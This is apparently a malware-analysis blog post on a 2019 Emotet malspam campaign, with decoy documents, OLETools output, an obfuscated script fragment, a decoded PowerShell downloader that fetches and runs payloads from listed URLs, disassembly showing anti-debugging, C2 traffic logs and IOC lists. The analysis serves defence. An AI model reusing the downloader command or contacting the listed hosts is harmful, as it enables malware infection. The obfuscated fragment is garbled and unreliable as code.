

# Return of the Mummy - Welcome back, Emotet

[dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html](https://dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html)

Tue 24 September 2019 in [Banking-Malware](#)

Or to be more historically precise: Imhotep was the Egyptian, Emotet is the Malware strain we are going to take a Look at. Last week it returned from its summer vacation with a few new tricks


***A short disclaimer: downloading and running the samples linked below will compromise your computer and data, so be f\$cking careful. Also check with your local laws as owning malware binaries/ sources might be illegal depending on where you live.***

Emotet Sample #1 @ [Hybrid Analysis](#) --> sha256

6076e26a123aaaff20c0529ab13b2c5f11259f481e43d62659b33517060bb63c5

Emotet Sample #2 @ [Hybrid Analysis](#) --> sha256

757b35d20f05b98f2c51fc7a9b6a57ccbbd428576563d3aff7e0c6b70d544975



Emotet brought home a few souveniers from summer trip as well. The image above and below show the two most common decoy header pictures that the distributed Maldocs use. To hide the malicious VBA code that hides under the picture they used small textboxes that contain the embedded macro.

[AnyRun Analysis](#)



## PRODUCT NOTICE

Word hasn't been activated. To keep using Word without interruption, Enable Editing and Enable Content.

## Microsoft Word

#Emotet malspam campaign uses Snowden's new book as lure <https://t.co/J2W6RvKwxC> pic.twitter.com/p9v5yox4sE

— MB Threat Intel (@MBThreatIntel) September 23, 2019


As Researchers at MalwareBytes found out the malspammers are even trying to lure people into downloading the infected Word Documents by advertising them as Edward Snowden's new Book "Permanent Record". Seems like the criminals reached a new moralic low point.

The following two screenshots are excerpts of the report generated by [OLETools](#) on an Emotet Word Document.

```


var a=['v5Np0z3CkAbwdpzCp0EJFnCm0W7FdBwrfDfKzNwCpE/CpwV2bgfCkfG6AM0xW6TckW3e3w0Lcga==','F2jCs800Zw==','QXhD0B8qKa==','U8KWhp4sBw4=','XgS2cQ==','!w7CjMkLwrlCvMkm0dM0v97bg1sRhn01zKl4==','dgxDs0Modw5Lc08bKwLbmKbABK3w7o==','CBK0w6MtwBMO','HkCuw7HDkw==','!yIPIcP0','wonDp08KwpXkD08UW0mwhDhD2bD==','!eHw==','M0jwGnCkMh','AskeUsx7Dpk8KcehNcn0pBa0FpFsyp0kxphw63CoMF','9X9Cw6XcCoMaWzCusUKE4k+4Y9w8NgShlw5EM1KskwqtBwNqRKFs05/DkCh3Ns0Lw4C7lc0w6rDpRoBwpDdgCkfDq=='];
...
function(c,d){var e=function(f){while(~f){c['push']([c['shift']()]);}e(++d);},b=function(c,d){c==8-0;var a=e;if(!c){if(!c['WuYJD'])==!undefined){(function(){var f;try{var g=function('return(x28(function(x20+'+{}){constructor(x22{return(x20this)(x22)'+'x20))';f=g;});catch(h){f=window;}var i='ABCDEFHijklMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789-/_';f['atob']||((f['atob']=function(j){var k=String(j).replace(/-/g,'+');for(var l=0x0,b=n,m=0,o=p+=1;!(char1[j+(o+4*x)+b]=='+')||!(char1[j+(o+4*x)+b]=='-');n+=&m=0x047m*0x40+n;,(l+0x4*x)+p+=String('fromCharCode')(0x7ff+m&0x60);x+=1;indexOf('n'))||(return p);});})(i);var q=Function(r,d){var t=u,x=w,_=v,r=atob(r);for(var o=y,x=z=_[length],y=z+y,x+=0*x+1*'_0*'+'0'+r.charCodeAt(A)'y)toString()*(0x10))|slice'*(-0x2);}==decodeURIComponent(x);for(var A=0x0;A<0x100+A+1;){var u=(A+0x0;A+0x100+A)+(u+w+A+d)*charCodeAt('A')%0x100;>0?100:w+A:t[A]=t[u];u=w;A=0x0;u=0x0;var for(B=0x0;B<r['length'];B++)=(A+0x0;A+0x100+u+w=u+(A+1)*0x100+w;u=t[A];t[A]=u;w=String('fromCharCode')('t'|charCodeAt('A')*(t[A]+u)%0x100);return w;}b=[RM0ADQ];c=b['hbvsOB']=!1;var C=b['hbvsOB'][c];if(C==!undefined){b['wQIfKl']=!1;};else{e=C;return e;};var D=function(){var E='igXTd':b['0x0','ig2c'|
```

Type	Keyword	Description
AutoExec	Document_Open	Runs when the Word or Publisher document is opened
Suspicious	Shell.Application	May run an application (if combined with CreateObject)
Suspicious	CreateObject	May create an OLE object
Suspicious	CreateTextFile	May create a text file
Suspicious	Environ	May read system environment variables
Suspicious	Shell	May run an executable file or a system command
Suspicious	ShellExecute	May run an executable file or a system command
Suspicious	Write	May write to a file (if combined with Open)
Suspicious	Open	May open a file
Suspicious	Chr	May attempt to obfuscate specific strings (use option --deobf to deobfuscate)
Suspicious	Msxml2.ServerXMLHTTP	May download files from the Internet
Suspicious	Hex Strings	Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
IOC	https://ragulars.com	URL /CmJb/ziv4/'



After decoding the Base64 String we get this command as a result:

```
$solidstatePPV76='RhodeIslandB832';$turquoiseXDz48 =
'844';$compressEq464='monitorcJX36';$PersistentWS41=$env:UserProfile+'\'+$turquoiseXDz
('new-ob+'+je+'ct') neTwEBCLienT;$customizediV75='hxxps://gcsucai[.]com/wp-
content/h891u8f8/@hxxp://www.offmaxindia[.]com/wp-
includes/b161/@hxxp://www.kutrialiogluderneGi[.]com/cgi-
bin/6j1/@hxxp://poshinternationalmedia[.]com/nqec/zcdvgy178/@hxxp://drfalamaki[.]com/N
('@');$Handmadeam16='depositwo79';foreach($invoicekq959 in $customizediV75)
{try{$TCPK2E89"doWn`10`A`DFile"($invoicekq959,
$PersistentWS41);$transmitaT74='transitioniK793';If (((&('Get-I+'+te) +'m')
$PersistentWS41)"lenG`TH" -ge 23645) {[DiagnosticsProcess]::"St`ARt"
($PersistentWS41);$BuckinghamshireYwZ18='ResearchPwz41';break;$CzechRepublicSBT52='Net
```



```
lab_0x415ced:
// 0x415ced
*(int32_t *)(&g9 - 4) = g8;
g8 = *(int32_t *)0x44437c;
*(int32_t *)(&g9 - 8) = (int32_t)"CreateActCtxW";
*(int32_t *)(&g9 - 12) = v4;
g2 = (int32_t)GetProcAddress(&g481, (char *)&g481);
*(int32_t *)(&g9 - 4) = (int32_t)"ReleaseActCtx";
*(int32_t *)(&g9 - 8) = v4;
g410 = g2;
g2 = (int32_t)GetProcAddress(&g481, (char *)&g481);
*(int32_t *)(&g9 - 4) = (int32_t)"ActivateActCtx";
*(int32_t *)(&g9 - 8) = v4;
g411 = g2;
g2 = (int32_t)GetProcAddress(&g481, (char *)&g481);
*(int32_t *)(&g9 - 4) = (int32_t)"DeactivateActCtx";
*(int32_t *)(&g9 - 8) = v4;
g412 = g2;
int32_t func = (int32_t)GetProcAddress(&g481, (char *)&g481); // 0x415d21
g2 = func;
int32_t v5 = g410; // 0x415d23
int32_t v6 = g4; // 0x415d23
g413 = func;
g8 = *(int32_t *)g9;
int32_t v7 = g9 + 4; // 0x415d2e
int32_t v8 = g9 + 8; // 0x415d2f
```

```

    if (v5 == v6) {
        if (g411 != v6) {
            // 0x415ce8
            g2 = function_40736d();
            goto lab_0x415ced;
    }

```

Taking a peek at the Imports we can see that the Malware uses (amongst other functions) TerminateProcess, IsDebuggerPresent and GetTimeZoneInfo imported from *Kernel32.dll*.

```

; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode)
    extrn TerminateProcess:dword
        ; CODE XREF: sub_43137F+FC+p
        ; sub_4317FF+E0+p
        ; DATA XREF: ...
; LPTOP_LEVEL_EXCEPTION_FILTER __stdcall SetUnhandledExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter)
    extrn SetUnhandledExceptionFilter:dword
        ; CODE XREF: sub_43137F+CE+p
        ; sub_4317FF+B4+p ...
; BOOL __stdcall IsDebuggerPresent()
    extrn IsDebuggerPresent:dword
        ; CODE XREF: sub_43137F+B9+p
        ; sub_4317FF+AA+p
        ; DATA XREF: ...
; DWORD __stdcall GetTimeZoneInformation(LPTIME_ZONE_INFORMATION lpTimeZoneInformation)
    extrn GetTimeZoneInformation:dword
        ; CODE XREF: sub_432A2E+14C+p
        ; DATA XREF: sub_432A2E+14C+r
; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo)
    extrn GetCPInfo:dword
        ; CODE XREF: sub_4335C6+24+p
        ; sub_43386E+56+p ...
; UINT __stdcall GetACP()
    extrn GetACP:dword
        ; CODE XREF: sub_4337F4+4A+p
        ; sub_4412CC:loc_44131A+p
        ; DATA XREF: ...
; UINT __stdcall GetOEMCP()
    extrn GetOEMCP:dword
        ; CODE XREF: sub_4337F4+27+p
        ; DATA XREF: sub_4337F4+27+r
; int __stdcall GetTimeFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCSTR lpFormat, LPSTR lpTimeStr, int cchTime)
    extrn GetTimeFormatA:dword
        ; DATA XREF: sub_4345C9+53+r
; LPCH __stdcall GetEnvironmentStrings()
    extrn GetEnvironmentStrings:dword

```

Furthermore it also imports various functions like RegDeleteValueW to modify the registry from *Advapi32.dll*.

```

idata:00444000 ; LSTATUS __stdcall RegDeleteValueW(HKEY hKey, LPCWSTR lpValueName)
idata:00444000     extrn RegDeleteValueW:dword
idata:00444000             ; CODE XREF: sub_41794B+44tp
idata:00444000             ; DATA XREF: HEADER:00400120+o ...
idata:00444004 ; LSTATUS __stdcall RegSetValueExW(HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, const
idata:00444004     extrn RegSetValueExW:dword
idata:00444004             ; CODE XREF: sub_4178C4+39tp
idata:00444004             ; sub_41794B+69tp ...
idata:00444008 ; LSTATUS __stdcall RegCreateKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD
idata:00444008     extrn RegCreateKeyExW:dword
idata:00444008             ; CODE XREF: sub_417784+51tp
idata:00444008             ; sub_417784+6Dtp ...
idata:0044400C ; LSTATUS __stdcall RegQueryValueW(HKEY hKey, LPCWSTR lpSubKey, LPWSTR lpData, PLONG lpcbData)
idata:0044400C     extrn RegQueryValueW:dword
idata:0044400C             ; CODE XREF: sub_417624+11Etp
idata:0044400C             ; sub_4246AA+454tp
idata:0044400C             ; DATA XREF: ...
idata:00444010 ; LSTATUS __stdcall RegEnumKeyW(HKEY hKey, DWORD dwIndex, LPWSTR lpName, DWORD cchName)
idata:00444010     extrn RegEnumKeyW:dword ; CODE XREF: sub_417515+5Ctp
idata:00444010             ; sub_417624+F2tp
idata:00444010             ; DATA XREF: ...
idata:00444014 ; LSTATUS __stdcall RegDeleteKeyW(HKEY hKey, LPCWSTR lpSubKey)
idata:00444014     extrn RegDeleteKeyW:dword

```

```

MOV    uword_45BD44, 1
mov    eax, __security_cookie
mov    [ebp+var_328], eax
mov    eax, dword_458144
mov    [ebp+var_324], eax
call   ds:IsDebuggerPresent |
mov    dword_45BD90, eax
push   1
call   sub_439C0E
pop    ecx
push   0           ; lpTopLevelExceptionFilter
call   ds:SetUnhandledExceptionFilter
push   offset ExceptionInfo ; ExceptionInfo
call   ds:UnhandledExceptionFilter
cmp    dword_45BD90, 0
jnz    short loc_43146F

```

```

push  1
call  sub_439C0E
pop  ecx

```


```

loc_43146F:          ; uExitCode
push  0C0000409h
call  ds:GetCurrentProcess
push  eax           ; hProcess
call  ds:TerminateProcess
leave
retn
sub_43137F endp

```

It uses the *IsDebuggerPresent* function out of debugapi.h to check if it is actively being debugged and will exit if it returns true.

24920ms	No Response	POST	3240	easywindow.exe	□ http://179.12.170.88:8080/vermont/json/ringin/	██████████	463 b	text
58705ms	No Response	POST	3240	easywindow.exe	□ http://182.76.6.2:8080/sess/	██████████	447 b	text
118.10s	No Response	POST	3240	easywindow.exe	□ http://86.98.25.30:53/ringin/attrib/ringin/	██████████	465 b	text
153.93s	No Response	POST	3240	easywindow.exe	□ http://198.199.88.162:8080/sym/codec/ringin/	██████████	449 b	text
188.75s	No Response	POST	3240	easywindow.exe	□ http://178.62.37.188:443/health/enabled/ringin/	██████████	443 b	text
229.71s	200: OK	POST	3240	easywindow.exe	□ http://92.222.125.16:7080/acquire/loadan/	██████████	458 b	text
260.43s	200: OK	POST	2836	easywindow.exe	□ http://45.79.188.67:8080/report/	██████████	78.8 Kb	binary
260.43s	200: OK	POST	2836	easywindow.exe	□ http://45.79.188.67:8080/report/	██████████	461 b	text
263.74s	200: OK	POST	2836	easywindow.exe	□ http://45.79.188.67:8080/stubs/schema/ringin/	██████████	821 Kb	binary
263.80s	200: OK	GET	2836	easywindow.exe	□ http://173.214.174.107:443/whoami.php	██████████	461 b	text
267.69s	200: OK	POST	2836	easywindow.exe	□ http://173.214.174.107:443/xian/vermont/ringin/merge/	██████████	148 b	binary
274.87s	200: OK	POST	2836	easywindow.exe	□ http://173.214.174.107:443/symbols/enable/ringin/	██████████	517 b	text
							14 b	text
							258 b	text
							148 b	binary
							531 b	text
							148 b	binary



The Any.Run Analysis of the second sample can be found [here](#).

```
g59 = (int32_t)CreateCompatibleDC(NULL);
g34 = (int32_t)CreateCompatibleDC((int32_t *)g38);
g35 = (int32_t>CreateCompatibleBitmap((int32_t *)g38, g41, g42);
g33 = (int32_t)LoadBitmapA((int32_t *)g39, (char *)111);
int32_t * h = CreateFontA(48, 0, 0, 0, 600, 0, 0, 0, 1, 2, 1, 0, 0, "Comic Sans MS"); // 0x402dc
g58 = (int32_t)h;
g37 = (int32_t>SelectObject((int32_t *)g34, h);
SetTextColor((int32_t *)g34, 0xff0000);
SetBkMode((int32_t *)g34, 1);
SelectObject((int32_t *)g34, (int32_t *)g35);
int32_t * hbr2 = GetStockObject(0); // 0x402e24
```

Looks like we stumbled across a real Typography expert as well 😂

```
*(int32_t *) (g8 - 40) = (int32_t)"Squirrel Shootout by Brenton Andrew Saunders";
*(int32_t *) (g8 - 44) = (int32_t)"Squirrel Shootout by Brenton Andrew Saunders";
*(int32_t *) (g8 - 48) = 0;
```

Squirrel Shootout ?! Sounds like another attempt to frame / disguise as another executable.

```
if ((v10 & 255) == 0) {
    // 0x403e4b
    MessageBoxA(NULL, "Decrypt Key Fail", NULL, 0);
}
int32_t v11 = (int32_t)"YV#C?9JareyJnw%?qV#QX@74JG*}Tw@7d"; // 0x403e88
char * v12 = "YV#C?9JareyJnw%?qV#QX@74JG*}Tw@7d";
unsigned char v13 = *v12; // 0x403e88
int32_t v14 = (int32_t)v12 + 1; // 0x403e90
```

Interesting strings all around 🤔

Another quite interesting tool to unpack and analyze Emotet is [tracecorn\\_tina](#), which is (as the name might already suggest) based on [tracecorn](#), a Windows API tracer for malware.

## IOCs

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### Emotet (SHA256)

---

6076e26a123aaff20c0529ab13b2c5f11259f481e43d62659b33517060bb63c5 (480 KiB)  
7080e1b236a19ed46ea28754916c43a7e8b68727c33cbf81b96077374f4dc205 (484 KiB)  
757b35d20f05b98f2c51fc7a9b6a57ccbbd428576563d3aff7e0c6b70d544975 (201 KiB)

### .docm Files (SHA256)

---

ea7391b5dd01d2c79ebe16e842daacc84a0dc5f0174235bbae86b2204312a6ab -->  
5B99674D2005BB01760A1765E4CB3BD06C6A7970.doc  
e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855 -->  
8KZLWX0QU5K8\_NJC.docm  
c13a058b51294284b7383b5d5c78eff83529519c207376cf26e94f4e888c5114 -->  
9B797E5A9E5FB0789B8278134AF083AA4116B28E.doc  
ae63b306cc2787b2acac3770d706db0648f53e1fade14af0104cfcb07001e22d --> ANHANG 3311  
1519749319.doc  
82bb3612b299cba0350e1dc4c299af9d50354cc1448b1dd931017f4381d0606a -->  
D468EA5BA7A856C12C3AC887C1A023F6B1182165.doc  
78d7b30a7a68c3b1da18bcf2ea84904907ecbd96d460b7d94871ac1a6ff21a35 -->  
DETAILS\_09\_17\_2019MW-33916.docm  
d88175cb5257df99953b2cfb65dff302dce425548c54706bf7d23ba6de5eef19 --> DOC-16092019  
6678523.doc  
cb4a203b541ec40e06c9d9f030dacf22747d62a771385d49d03801945b8d2e1a -->  
FB1ADE20382673E3E1D3351FA3155229880F6ECE.doc  
1e1eedfe3066f398cdc0805ec5338e2028c0fd7085255c741d31ec35eb3bdbda -->  
7330786\_09\_23\_2019\_UIE76589.doc

## URLs

---

hxhttp://autorepuestosdml[.]com/wp-content/CiloXIptI/  
hxhttp://pep-egypt[.]com/eedy/xx3yspke7\_17jp5-430067348/  
hxhttp://danangluxury[.]com/wp-content/uploads/KTgQsblu/  
hxhttp://www.gcesb[.]com/wp-includes/customize/zUfJervuM/  
hxhttp://bondagetravel[.]com/wp-content/y0gm3xxs\_hmnw8rq-764161699/  
hxhttp://www.offmaxindia[.]com/wp-includes/b161/  
hxhttp://www.kutrialiogludernegi[.]com/cgi-bin/6j1/  
hxhttp://poshinternationalmedia[.]com/nqec/zcdvgy178/  
hxhttp://drfalamaki[.]com/Mqm24/btxz33664/  
hxhttp://gcsucai[.]com/wp-content/h891u8f8/

## Contacted Servers

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hxhttp://179.12.170[.]88:8080/vermont/json/ringin/  
hxhttp://182.76.6[.]2:8080/sess/  
hxhttp://86.98.25[.]30:53/ringin/attrib/ringin/  
hxhttp://198.199.88[.]162:8080/sym/codec/ringin/  
hxhttp://178.62.37[.]188:443/health/enabled/ringin/  
hxhttp://92.222.125[.]16:7080/acquire/loadan/  
hxhttp://45.79.188.67:8080/report/  
hxhttp://45.79.188.67:8080/stubs/schema/ringin/  
hxhttp://173.214.174[.]107:443/whoami.php  
hxhttp://173.214.174[.]107:443/xian/vermont/ringin/merge/  
hxhttp://173.214.174[.]107:443/symbols/enable/ringin/

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